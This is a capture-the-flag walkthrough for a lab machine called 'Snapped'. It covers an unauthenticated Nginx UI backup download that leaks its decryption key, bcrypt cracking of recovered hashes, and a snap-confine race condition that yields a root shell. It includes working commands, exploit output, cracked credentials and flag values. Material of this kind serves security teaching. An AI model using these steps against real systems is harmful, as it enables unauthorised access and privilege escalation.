Machine Info

  • Name: Snapped
  • IP: 10.129.1.16
  • OS: Linux (Ubuntu 24.04)
  • Difficulty: Hard
  • Key Skills: Nginx UI CVE-2026-27944, Unauthenticated Backup Download, AES Decryption, Bcrypt Cracking, snap-confine TOCTOU Race Condition (CVE-2026-3888), AF_UNIX Socket Backpressure

Summary

Snapped is a Hard Linux machine running Nginx on port 80 with two virtual hosts - a static marketing site on snapped.htb and an Nginx UI admin panel on admin.snapped.htb. The Nginx UI instance (< 2.3.2) is vulnerable to CVE-2026-27944 - an unauthenticated backup download at /api/backup that leaks the AES-256-CBC decryption key and IV in the X-Backup-Security response header. Decrypting the backup reveals a SQLite database containing bcrypt-hashed credentials for user jonathan, which cracks to linkinpark using a common wordlist. SSH access as jonathan yields the user flag.

Privilege escalation exploits CVE-2026-3888 - a TOCTOU race condition between snap-confine (SUID-root) and systemd-tmpfiles. The box has the cleanup threshold reduced to 4 minutes (from the default 30 days), making exploitation feasible within a CTF timeframe. After systemd-tmpfiles deletes the stale .snap mimic directory, the attacker recreates it with controlled content. Using AF_UNIX socket backpressure to single-step snap-confine’s debug output, the race is won during the mimic bind-mount sequence - swapping the legitimate /usr/lib/x86_64-linux-gnu directory with an attacker-owned copy. This gives control over the dynamic linker (ld-linux-x86-64.so.2), which is replaced with shellcode that calls setreuid(0,0) + execve. Triggering SUID snap-confine loads the poisoned linker as root, and a SUID bash is dropped to /var/snap/ to escape the sandbox.

Attack Chain:

Vhost fuzz -> admin.snapped.htb (Nginx UI) -> CVE-2026-27944 /api/backup -> AES decrypt -> SQLite DB -> bcrypt crack (jonathan:linkinpark) -> SSH -> user.txt -> CVE-2026-3888 snap-confine TOCTOU race -> poisoned ld-linux -> SUID bash -> root.txt

Reconnaissance

Port Scan

nmap -sC -sV -Pn --min-rate 1000 -p 22,80 10.129.1.16

Key open ports:

  • 22/SSH - OpenSSH 9.6p1 Ubuntu
  • 80/HTTP - nginx 1.24.0 (Ubuntu)

The site title is “Snapped - Infrastructure. Orchestration. Control.” - a corporate APAC infrastructure platform.

Vhost Discovery

The default site redirects unknown vhosts to snapped.htb. Fuzzing with ffuf reveals admin.snapped.htb:

ffuf -u http://snapped.htb/ \
  -H "Host: FUZZ.snapped.htb" \
  -w subdomains-top1million-5000.txt \
  -mc all -fc 302 -t 50
admin   [Status: 200, Size: 1407, Words: 164, Lines: 50]

Browsing admin.snapped.htb shows the Nginx UI panel - a web-based management interface for nginx.


Foothold - CVE-2026-27944

Unauthenticated Backup Download

Nginx UI < 2.3.2 exposes /api/backup without authentication (CVE-2026-27944, CVSS 9.8). The endpoint returns an encrypted backup archive and leaks the AES-256-CBC key and IV in the response headers.

curl -v http://admin.snapped.htb/api/backup -o backup.zip

Key response header:

X-Backup-Security: VID/Nt6o8F67TEUhuLdVMwRSwlr6apJsuI1YM1zsZgM=:85M/UjJF1s+Rh79rExuepw==

Format is base64(AES-key):base64(IV).

Decryption

The outer ZIP contains hash_info.txt, nginx-ui.zip, and nginx.zip - the inner ZIPs are AES-256-CBC encrypted:

# Extract key and IV
KEY=$(echo -n "VID/Nt6o8F67TEUhuLdVMwRSwlr6apJsuI1YM1zsZgM=" \
  | base64 -d | xxd -p | tr -d '\n')
IV=$(echo -n "85M/UjJF1s+Rh79rExuepw==" \
  | base64 -d | xxd -p | tr -d '\n')

# Decrypt
openssl enc -aes-256-cbc -d \
  -in nginx-ui.zip -out nginx-ui-dec.zip \
  -K "$KEY" -iv "$IV"

The decrypted nginx-ui-dec.zip contains app.ini (config with JWT secret) and database.db (SQLite).

Credential Recovery

sqlite3 database.db "SELECT * FROM users;"

Two users with bcrypt hashes:

  • admin - $2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm
  • jonathan - $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq
john hashes.txt --wordlist=rockyou-75.txt

Cracked: linkinpark (jonathan’s password, reused for SSH).

ssh [email protected]
cat ~/user.txt
# 9c338d80db3a7e941cdfb0494aca6e4e

Privilege Escalation - CVE-2026-3888

Enumeration

ls -la /usr/lib/snapd/snap-confine
# -rwsr-xr-x 1 root root 159016 ... snap-confine (SUID!)

snap version
# snapd 2.63.1+24.04 (vulnerable < 2.73)

cat /usr/lib/tmpfiles.d/tmp.conf
# D /tmp 1777 root root 4m  (shortened from 30d!)

systemctl list-timers | grep tmpfiles
# systemd-tmpfiles-clean.timer runs every ~1 minute

Key findings:

  • snap-confine is SUID-root
  • snapd 2.63.1 is vulnerable (patched in 2.74.2)
  • tmpfiles cleanup threshold shortened to 4 minutes (from default 30 days)
  • Cleanup timer runs every minute

The Vulnerability

CVE-2026-3888 is a TOCTOU race condition between snap-confine and systemd-tmpfiles. When setting up a snap sandbox, snap-confine creates “mimics” - writable copies of read-only filesystem hierarchies - under /tmp/.snap. After systemd-tmpfiles deletes the stale .snap directory, an unprivileged user can recreate it with controlled content and race snap-confine’s mimic creation to get attacker-owned files bind-mounted as root.

Exploitation

Used TheCyberGeek’s PoC (exploit_suid.c + librootshell_suid.c). Cross-compiled on macOS using zig:

zig cc -O2 -static -target x86_64-linux-musl \
  -o exploit exploit_suid.c
zig cc -nostdlib -static -target x86_64-linux-musl \
  -Wl,--entry=_start -o librootshell.so librootshell_suid.c

The exploit was patched to target snap-store instead of firefox (the firefox sandbox got corrupted during initial manual attempts).

The exploit flow:

  1. Phase 1 - Enter snap-store sandbox via snap-confine
  2. Phase 2 - Wait for systemd-tmpfiles to delete .snap (4 min threshold)
  3. Phase 3 - Destroy the cached mount namespace
  4. Phase 4 - Recreate .snap with exchange directory (copies of /usr/lib/x86_64-linux-gnu from core22 base), launch snap-confine with SNAPD_DEBUG=1 redirected through an AF_UNIX socket with minimized buffers. Read stderr byte-by-byte to detect the trigger message, then atomically swap the directories
  5. Phase 5 - Overwrite ld-linux-x86-64.so.2 in the poisoned namespace with shellcode
  6. Phase 6 - Execute SUID snap-confine which loads the poisoned dynamic linker as root
  7. Phase 7 - SUID bash dropped to /var/snap/snap-store/common/bash
./exploit ./librootshell.so
[Phase 4] Setting up and running the race...
[!]   TRIGGER - swapping directories...
[+]   SWAP DONE - race won!
[*]   ld-linux in namespace: jonathan:jonathan 755

[Phase 5] Injecting payload into poisoned namespace...
[+]   ld-linux owned by uid 1000 (attacker). Race confirmed.

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755)

  ROOT SHELL: /var/snap/snap-store/common/bash -p
bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root)

bash-5.1# cat /root/root.txt
012e7d795a5bd05f59bb871bbfc279be

Key Takeaways

  • Nginx UI backup endpoint is a critical finding - unauthenticated access to encrypted backups with the key leaked in response headers is essentially plaintext credential exposure
  • CVE-2026-3888 is an elegant race condition that demonstrates how two individually secure components (snap-confine + systemd-tmpfiles) can interact to create a privilege escalation path
  • The AF_UNIX socket backpressure technique for single-stepping a SUID binary is a powerful exploitation primitive worth understanding
  • The box name “Snapped” directly hints at the privesc vector (snap/snapd)
  • Cross-compilation with zig cc is invaluable when the target lacks build tools